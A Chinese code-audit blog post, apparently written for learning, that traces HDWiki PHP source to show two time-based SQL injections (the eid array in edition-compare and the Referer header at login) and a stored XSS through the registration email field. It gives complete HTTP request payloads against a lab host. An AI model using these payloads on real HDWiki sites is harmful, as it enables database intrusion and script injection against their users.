0x01 前言

学代码审计嘛。最重要的是多看别人的审计思路,还有就是自己也跟着审,跟着追函数。
这不,我又来跟着审了。这次的是复现HDWIKI的SQL注入以及XSS

0x02 过程

1.SQL注入

该漏洞位于 HDWiki/control/edition.php 文件的 docompare() 函数。在该文件的144行中对 post 请求的参数进行了判断。但是嘛,在147行的代码中,用了 array_slice() 函数,该函数的作用是从数组中移除元素,并返回所移除的元素。这里有一点很重要,POST传入参数的时候,并不会对键进行排序,传入的时候是什么顺序,接收到的就是什么顺序,这也就是说,只要我们让eid[0],eid[1]通过检测,而在下面取POST值的时候取到我们需要注入的代码就可以了。

  1. <?php
  2. // 省略号
  3. function docompare(){
  4. if(!empty($this->setting['check_useragent'])) {
  5. $this->load('anticopy');
  6. if(!$_ENV['anticopy']->check_useragent()){
  7. $this->message('禁止访问','',0);
  8. }
  9. }
  10. if(!empty($this->setting['check_visitrate'])) {
  11. $this->load('anticopy');
  12. $_ENV['anticopy']->check_visitrate();
  13. }
  14. if ($this->get[4] == 'box'){
  15. @header('Content-type: text/html; charset='.WIKI_CHARSET);
  16. if(!@is_numeric($this->get[2])||!@is_numeric($this->get[3])){
  17. $this->message($this->view->lang['parameterError'],'index.php',0);
  18. }
  19. $did = $this->get[2];
  20. $eid = $this->get[3];
  21. $edition = array();
  22. $editions=$_ENV['doc']->get_edition_list($did,'`time`,`authorid`,`author`,`words`,`images`,`content`', $eid);
  23. $this->view->assign('edition',$editions);
  24. $this->view->display('comparebox');
  25. exit;
  26. }
  27. if(@!is_numeric($this->post['eid'][0])||@!is_numeric($this->post['eid'][1])){
  28. $this->message($this->view->lang['parameterError'],'index.php',0);
  29. }
  30. $edition=$_ENV['doc']->get_edition(array_slice($this->post['eid'], 0, 2));
  31. if($edition[0]['did']!=$edition[1]['did']){
  32. $this->message($this->view->lang['parameterError'],'index.php',0);
  33. }
  34. $doc=$this->db->fetch_by_field('doc','did',$edition[0]['did']);
  35. $doc['rawtitle']=$doc['title'];
  36. if(@$doc['visible']=='0'&&!$this->checkable('admin_doc-audit')){
  37. $this->message($this->view->lang['viewDocTip4'],'index.php',0);
  38. }
  39. $edition[0]['tag']=$_ENV['doc']->spilttags($edition[0]['tag']);
  40. $edition[0]['editions']=$this->post['editions_'.$edition[0]['eid']];
  41. $edition[1]['tag']=$_ENV['doc']->spilttags($edition[1]['tag']);
  42. $edition[1]['editions']=$this->post['editions_'.$edition[1]['eid']];
  43. $doc['title']=$edition[0]['title'];
  44. $doc['did']=$edition[0]['did'];
  45. $this->view->assign('doc',$doc);
  46. $this->view->assign('edition',$edition);
  47. //$this->view->display('compare');
  48. $_ENV['block']->view('compare');
  49. }

我们在来看看 get_edition() 函数,该函数不会对传入的参数进行过滤。所以我们只需要找到怎么调用docompare函数就好了。

<?php
/ 省略号
      function get_edition($eid){
        $editionlist=array();
        if(is_numeric($eid)){
            $edition= $this->db->fetch_first("SELECT * FROM ".DB_TABLEPRE."edition WHERE eid=$eid");
            if($edition){
                $edition['comtime']=$edition['time'];
                $edition['time']=$this->base->date($edition['time']);
                $edition['rawtitle']=$edition['title'];
                $edition['title']=htmlspecial_chars($edition['title']);
                if(!$edition['content']){
                    $edition['content']=file::readfromfile($this->get_edition_fileinfo($edition['eid'],'file'));
                }
            }
            return $edition;
        }else{
            $eid=implode(",",$eid);
            echo " SELECT * FROM ".DB_TABLEPRE."edition WHERE eid IN ($eid)";
            $query=$this->db->query(" SELECT * FROM ".DB_TABLEPRE."edition WHERE eid IN ($eid)");
            while($edition=$this->db->fetch_array($query)){
                $edition['time']=$this->base->date($edition['time']);
                $edition['rawtitle']=$edition['title'];
                $edition['title']=htmlspecial_chars($edition['title']);
                if(!$edition['content']){
                    $edition['content']=file::readfromfile($this->get_edition_fileinfo($edition['eid'],'file'));
                }
                $editionlist[]=$edition;
            }
            return $editionlist;
        }
    }

我们来看下 HDWiki/model/hdwiki.class.php 中的 run() 函数.该函数会取查询字符串的第一个值作为文件名,第二个值作为函数名。具体的话可以看 init_request() load_control() 两个函数。

<?php

!defined('IN_HDWIKI') && exit('Access Denied');

define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());

require HDWIKI_ROOT.'/config.php';
require HDWIKI_ROOT.'/lib/string.class.php';
require HDWIKI_ROOT.'/model/base.class.php';

class hdwiki {

    var $get = array();
    var $post = array();
    var $querystring;

    function hdwiki() {
        $this->init_request();
        $this->load_control();
    }

    function init_request(){
        if (!file_exists(HDWIKI_ROOT.'/data/install.lock')) {
            header('location:install/install.php');
            exit();
        }
        header('Content-type: text/html; charset='.WIKI_CHARSET);
        $querystring=str_replace("'","",urldecode($_SERVER['QUERY_STRING']));
        if(strpos($querystring , 'plugin-hdapi-hdapi-default') !== false){
            $querystring=str_replace('plugin-hdapi-', '', $querystring);
        }
        $pos = strpos($querystring , '.');
        if($pos!==false){
            $querystring=substr($querystring,0,$pos);
        }
        $this->get = explode('-' , $querystring);

        if (count($this->get) <= 3 && count($_POST) == 0 && substr($querystring, 0, 6) == 'admin_' && substr($querystring, 0, 10) != 'admin_main'){
            $this->querystring = $querystring;
        }

        if(empty($this->get[0])){
            $this->get[0]='index';
        }
        if(empty($this->get[1])){
            $this->get[1]='default';
        }

        if(count($this->get)<2){
            exit(' Access Denied !');
        }
        //unset($_ENV, $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_COOKIE_VARS, $HTTP_SERVER_VARS, $HTTP_ENV_VARS);
        $this->get = string::haddslashes($this->get,1);
        $this->post = string::haddslashes($_POST);
        $_COOKIE = string::haddslashes($_COOKIE);
        $this->checksecurity();
        $remain=array('_SERVER','_FILES','_COOKIE','GLOBALS','starttime','mquerynum');
        foreach ($GLOBALS as $key => $value){
            if ( !in_array($key,$remain) ) {
                unset($GLOBALS[$key]);
            }
        }
    }

    function load_control(){
        if($this->get[0]=='plugin'){
            if(empty($this->get[2])){
                $this->get[2]=$this->get[1];
            }
            if(empty($this->get[3])){
                $this->get[3]='default';
            }
            $pluginfile=HDWIKI_ROOT.'/plugins/'.$this->get[1].'/control/'.$this->get[2].'.php';
            if(false===@include($pluginfile)){
                $this->notfound('plugin control "'.$this->get[2].'"  not found!');
            }
            $this->get=array_slice($this->get,2);
        }else{
            $controlfile=HDWIKI_ROOT.'/control/'.$this->get[0].'.php';
            if(false===@include($controlfile)){
                $this->notfound('control "'.$this->get[0].'"  not found!');
            }
        }
    }

    function run(){
        $control = new control($this->get,$this->post);
        if ($this->querystring){
            $control->hsetcookie('querystring',$this->querystring, 3600);
        }
        $method = $this->get[1];
        $exemption=true; //免检方法的标志,免检方法不需要经过权限检测
        if('hd'!= substr($method, 0, 2)){
            $exemption=false;
            $method = 'do'.$this->get[1];
        }
        if ($control->user['uid'] == 0    && $control->setting['close_website'] === '1'    && strpos('dologin,dologout,docheckusername,docheckcode,docode',$method) === false
        ){
            exit($control->setting['close_website_reason']);
        }

        if(method_exists($control, $method)) {
            $regular=$this->get[0].'-'.$this->get[1];
            $querystring=implode('-',$this->get);
            $isadmin= ('admin'==substr($this->get[0],0,5));
            if($exemption || $control->checkable($querystring) || $control->checkable($regular)){
                $control->$method();
            }else{
                $control->message($regular.$control->view->lang['refuseAction'],'', $isadmin);
            }
        }else {
            $this->notfound('method "'.$method.'" not found!');
        }
    }

    function notfound($error){
        @header('HTTP/1.0 404 Not Found');
        exit("<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\"><html><head><title>404 Not Found</title></head><body><h1>404 Not Found</h1><p> $error </p></body></html>");
    }

    function checksecurity() {
        $check_array = array(
            //于get请求 需要检查哪些关键词 
            'get'=>array('cast', 'exec','show ','show/*','alter ','alter/*','create ','create/*','insert ','insert/*', 'select ','select/*','delete ','delete/*','update ', 'update/*','drop ','drop/*','truncate ','truncate/*','replace ','replace/*','union ','union/*','execute', 'from', 'declare', 'varchar', 'script', 'iframe', ';', '0x', '<', '>', '\\', '%27', '%22', '(', ')'),
        );
        foreach ($check_array as $check_key=>$check_val) {
            if(!empty($this->$check_key)) {
                foreach($this->$check_key as $getvalue) {
                    foreach ($check_val as $invalue) {
                        if(stripos($getvalue, $invalue) !== false){
                            $this->notfound('page is not found!');
                            //exit('No Aceess!注意敏感词!');
                        }
                    }
                }
            }
        }
    }
}


?>

构造好的PayLoad如下

POST /HDWIKI/index.php?edition-compare HTTP/1.1
Host: 192.168.0.110
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: bdshare_firstime=1603020126898; UserName=admin; PassWord=21232f297a57a5a743894a0e4a801fc3; PHPSESSID=55n2of2u104h4k842gv81j4o96; hd_sid=Ev57Fc
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 42

eid[3]=10) and sleep(5)#&eid[0]=0&eid[1]=1

第二处SQL注入位于 HDWiki/control/user.php dologin() 函数。该漏洞的利用条件是PHP小于5.4且开启了GPC。问题出在 $_ENV[‘user’]->add_referer(); 这一伪造

<?php 
function dologin(){

        $_ENV['user']->passport_server('login','1');
        if(!isset($this->post['submit'])){
            $this->view->assign('checkcode',isset($this->setting['checkcode'])?$this->setting['checkcode']:0);

            $_ENV['user']->add_referer();
            $_ENV['user']->passport_server('login','2');
            $_ENV['user']->passport_client('login');

            if (!isset($this->setting['name_min_length'])) {$this->setting['name_min_length'] = 3;}
            if (!isset($this->setting['name_max_length'])) {$this->setting['name_max_length'] = 15;}
            $loginTip2 = str_replace(array('3','15'),array($this->setting['name_min_length'],$this->setting['name_max_length']),$this->view->lang['loginTip2']);
            $this->view->assign('name_min_length',$this->setting['name_min_length']);
            $this->view->assign('name_max_length',$this->setting['name_max_length']);
            $this->view->assign('loginTip2',$loginTip2);
            //$this->view->display('login');
            $_ENV['block']->view('login');
        }else{
            if (!$this->check_csrf_token()){
                $this->message('缺少TOKEN参数', 'BACK',$this->post['indexlogin']?2:0);
            }
            $username=string::hiconv(trim($this->post['username']));
            $password=md5($this->post['password']);
            $error=$this->setting['checkcode']!=3?$this->docheckcode($this->post['code'],1):'OK';
            if($error=='OK'){
                // LDAP 登录检测
                $ldap_login = $_ENV['user']->ldap_login($username,$this->post['password']);
                if(!empty($ldap_login) && is_array($ldap_login)) {
                    if(1 !== $ldap_login['status']) {
                    $this->message($ldap_login['message'], 'BACK',$this->post['indexlogin']?2:0);
                    }
                }
                // LDAP 登录检测 结束

                $user=$this->db->fetch_by_field('user','username',$username);
                if ($this->setting['close_website'] === '1' && $user['groupid'] != 4){
                    @header('Content-type: text/html; charset='.WIKI_CHARSET);
                    exit($this->setting['close_website_reason']);
                }
                //eval($this->plugin["ucenter"]["hooks"]["login"]);//UC返回登录js代码,退出了。
                UC_OPEN && $_ENV['ucenter']->login($username);
                if(is_array($user)&&($password==$user['password'])){
                    if($this->time>($user['lasttime']+24*3600)){
                        $user['credit1'] += $this->setting['coin_login'];
                        $user['credit2'] += $this->setting['credit_login'];
                        $_ENV['user']->add_credit($user['uid'],'user-login',$this->setting['credit_login'], $this->setting['coin_login']);
                    }
                    $_ENV['user']->update_user($user['uid'],$this->time,$this->ip);
                    $_ENV['user']->refresh_user($user['uid']);
                    $_ENV['user']->passport_server('login','3',$user);
                    $newpms=$_ENV['global']->newpms($this->user['uid']);
                    $adminlogin=$this->checkable('admin_main-login');
                    if($this->post['indexlogin']==1){
                        $usergroup=$this->db->fetch_by_field('usergroup','groupid',$user['groupid'],'grouptitle');
                        $user['grouptitle'] = $usergroup['grouptitle'];
                        $user['image'] = ($user['image'])?$user['image']:'style/default/user_l.jpg';
                        $user['news'] = $newpms[0];
                        //公共短消息个数
                        $user['pubpms'] = $newpms[3];
                        $user['adminlogin'] = $adminlogin;
                        unset($user['signature']);
                        //channel
                        $user['channel'] = '';
                        foreach($this->channel as $channel){
                            $user['channel'].='<li class="l bor_no"><a href="'.$channel['url'].'" target="_blank">'.$channel['name'].'</a></li>';
                        }
                        $data='{';
                        foreach($user as $key=>$value){
                            $data.=$key.":'".$value."',";
                        }
                        $data=substr($data,0,-1).'}';
                        $this->message($data,"",2);
                    }else{
                        $this->view->assign('user',$this->user);
                        $this->view->assign('newpms',$newpms);
                        $this->view->assign('adminlogin',$adminlogin);
                        $this->message($this->view->lang['loginSuccess'],$_ENV['user']->get_referer() ,0);
                    }
                }else{
                    $this->message($this->view->lang['userInfoError'],'BACK',$this->post['indexlogin']?2:0);
                }
            }else{
                $this->message($error, 'BACK',$this->post['indexlogin']?2:0);
            }
        }
    }

我们跟进去看看。可以看到该处是直接拼接的SQL语句,我们在跟进去 string::haddslashes 看看

<?php 
function add_referer(){
        if($_SERVER['HTTP_REFERER']){
            $this->db->query("UPDATE ".DB_TABLEPRE."session SET referer ='".string::haddslashes($_SERVER['HTTP_REFERER'])."' WHERE sid='".base::hgetcookie('sid')."'");
        }
    }

当GPS没开启的时候回使用 addslashes 来过滤参数,但是如果GPC开启了话就会直接返回字符串。

<?php 
function haddslashes($string, $force = 0) {
        if(!MAGIC_QUOTES_GPC || $force) {
            if(is_array($string)) {
                foreach($string as $key => $val) {
                    $string[$key] = string::haddslashes($val, $force);
                }
            }else {
                $string = addslashes($string);
            }
        }
        return $string;
    }

我们来构造Payload

GET /HDWIKI/index.php?user-login HTTP/1.1
Host: 192.168.0.110
Cache-Control: max-age=0
Origin: http://192.168.0.110
Upgrade-Insecure-Requests: 1
DNT: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.0.110/HDWIKI/index.php?user-register
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Referer: ' where uid=sleep(5)#
Cookie: bdshare_firstime=1603020126898; UserName=admin; PassWord=21232f297a57a5a743894a0e4a801fc3; PHPSESSID=55n2of2u104h4k842gv81j4o96; hd_sid=Ev57Fc
Connection: close

2.存储型XSS

该漏洞位于 HDWiki/control/user.php doregister 函数。

        <?php 
    }else{
            $username=trim($this->post['username']);
            $password=$this->post['password'];
            $repassword=$this->post['repassword'];
            $email=trim($this->post['email']);
            $code=$this->setting['checkcode']!=3?trim($this->post['code']):'';
            $error=$this->docheck($username,$password,$repassword,$email,$code);
            if($error=='OK'){

在我们上面的代码中,会将 email传入 docheck验证,我们跟进去 docheck看看。

<?php 
function docheck($username,$password,$repassword,$email,$code=''){
        if(($error=$this->docheckusername($username,1))=="OK"){
            if(($error=$_ENV['user']->checkpassword($password,$repassword))=="OK"){
                if(($error=$this->docheckemail($email,1))=="OK"){
                    if($code!=''){
                        $error=$this->docheckcode($code,1);
                    }
                }
            }
        }
        return $error;
    }

docheck 函数将email传进去了docheckmail.由于 UC_OPEN 默认是为空的,所以docheckemail中的 $_ENV[‘ucenter’]->checkemail($msg,$email);并不会运行。

<?php 
function docheckemail($email='',$type=0){
         $msg="OK";
        if($email==''){
            $email=$this->post['email'];
        }
        $lenmax=strlen($email);
        if($lenmax<6){
            $msg=$this->view->lang['getPassTip2'];
        }elseif((bool)$this->db->fetch_by_field('user','email',$email)){
            $msg=$this->view->lang['registerTip7'];
        }else{
            UC_OPEN && $_ENV['ucenter']->checkemail($msg,$email);
        }
        if($type==1){
            return $msg;
        }
        $this->message($msg,'',2);
    }

下面构造Payload的方法就是直接将email设置为Js的代码就可以了。